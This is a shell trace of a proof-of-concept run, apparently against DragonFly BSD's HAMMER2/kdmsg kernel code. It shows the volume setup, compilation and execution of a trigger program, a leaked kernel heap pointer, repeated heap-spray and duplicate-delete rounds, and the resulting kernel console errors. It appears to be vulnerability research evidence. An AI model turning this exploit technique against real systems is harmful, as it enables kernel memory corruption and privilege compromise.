+ D=/root/poc/df2707
+ MODE=attack
+ mkdir -p /root/poc/df2707
+ vnconfig -u vn0
+ [ -f /root/poc/df2707/img ]
+ vnconfig -c vn0 /root/poc/df2707/img
+ newfs_hammer2 -L testvol /dev/vn0
+ mkdir -p /mnt/h2poc
+ cc -O -I/usr/src/sys -o /root/poc/df2707/df2707_trigger /root/poc/df2707/df2707_trigger.c
+ dmesg
+ /root/poc/df2707/df2707_trigger attack 6 40
TRIGGER_RC=0
+ echo 'TRIGGER_RC=0'
+ sleep 1
+ dmesg
=== trigger stdout ===
+ echo '=== trigger stdout ==='
+ cat /root/poc/df2707/trigger.out
PEER_SOCK sndbuf=2048
AUTO_CONN cmd=80001106 msgid=0xfffff801176d85d0  <== kernel heap ptr (DF-2708)
ROUND=0 junk=160 ndel=40
FIONREAD_BEFORE_DUPDEL=2048
FIONREAD_AFTER_DUPDEL=2048
DRAIN_DONE sprayed=512
ROUND_0_DONE alive
ROUND=1 junk=160 ndel=40
FIONREAD_BEFORE_DUPDEL=2048
FIONREAD_AFTER_DUPDEL=2048
DRAIN_DONE sprayed=512
ROUND_1_DONE alive
ROUND=2 junk=160 ndel=40
FIONREAD_BEFORE_DUPDEL=2048
FIONREAD_AFTER_DUPDEL=2048
DRAIN_DONE sprayed=512
ROUND_2_DONE alive
ROUND=3 junk=160 ndel=40
FIONREAD_BEFORE_DUPDEL=2048
FIONREAD_AFTER_DUPDEL=2048
DRAIN_DONE sprayed=512
ROUND_3_DONE alive
ROUND=4 junk=160 ndel=40
FIONREAD_BEFORE_DUPDEL=2048
FIONREAD_AFTER_DUPDEL=2048
DRAIN_DONE sprayed=512
ROUND_4_DONE alive
ROUND=5 junk=160 ndel=40
FIONREAD_BEFORE_DUPDEL=2048
FIONREAD_AFTER_DUPDEL=2048
DRAIN_DONE sprayed=512
ROUND_5_DONE alive
ATTACK_SEQUENCE_DONE — attempting to linger+unmount
TRIGGER_DONE (kernel not crashed yet — corruption may be latent)
=== new kdmsg/hammer2 console lines ===
+ echo '=== new kdmsg/hammer2 console lines ==='
+ grep '^>'
+ head -60
+ diff /root/poc/df2707/dmesg.before /root/poc/df2707/dmesg.after
> hammer2_mount: devstr="/dev/vn0@testvol"
> hammer2_mount: device="/dev/vn0" label="testvol" rdonly=0
> hammer2_ondisk: "/dev/vn0" zone=0 id=0 offset=0x0000000000000000 size=0x0000000008000000
> hammer2_mount: "/dev/vn0": no recovery needed
> hammer2_mount: hmp=0xfffff80119370000 pmp=0xfffff801184c6000
> kdmsg: msgrx: no state match for REPLY cmd=a00fff01 msgid=fffff801176d85d0
> kdmsg: msgrx: state=0xfffff801193700b8 error 22
> kdmsg: state 0xfffff80117651050 interlock!
> kdmsg: state 0xfffff80118c3e430 interlock!
> kdmsg: state 0xfffff80118c75330 interlock!
> kdmsg: state 0xfffff80118c79a70 interlock!
> kdmsg: state 0xfffff80118cd10f0 interlock!
> kdmsg: state 0xfffff80118cd5830 interlock!
> kdmsg: state 0xfffff80118ceefd0 interlock!
> kdmsg: state 0xfffff80118cf01f0 interlock!
> kdmsg: state 0xfffff80118ce5930 interlock!
> kdmsg: state 0xfffff80118ce5f70 interlock!
> kdmsg: state 0xfffff80118ce6290 interlock!
> kdmsg: state 0xfffff80118ce57f0 interlock!
> kdmsg: state 0xfffff80118cf2310 interlock!
> kdmsg: state 0xfffff80118cf2450 interlock!
> kdmsg: state 0xfffff80118ce5c50 interlock!
> kdmsg: state 0xfffff80118ce5d90 interlock!
> HAMMER2: VOLDATA DUMP
> HAMMER2: INITIATE SPANs
> HAMMER2: CONN WAS TERMINATED
=== leak cross-check (DF-2708) ===
+ echo '=== leak cross-check (DF-2708) ==='
+ tail -4
+ grep 'volconf update' /root/poc/df2707/dmesg.after
=== unmount attempt (hang => corrupted teardown) ===
+ echo '=== unmount attempt (hang => corrupted teardown) ==='
+ umount /mnt/h2poc
UMOUNT_RC=0
+ echo 'UMOUNT_RC=0'
+ vnconfig -u vn0
RUN_DF2707_DONE
+ echo RUN_DF2707_DONE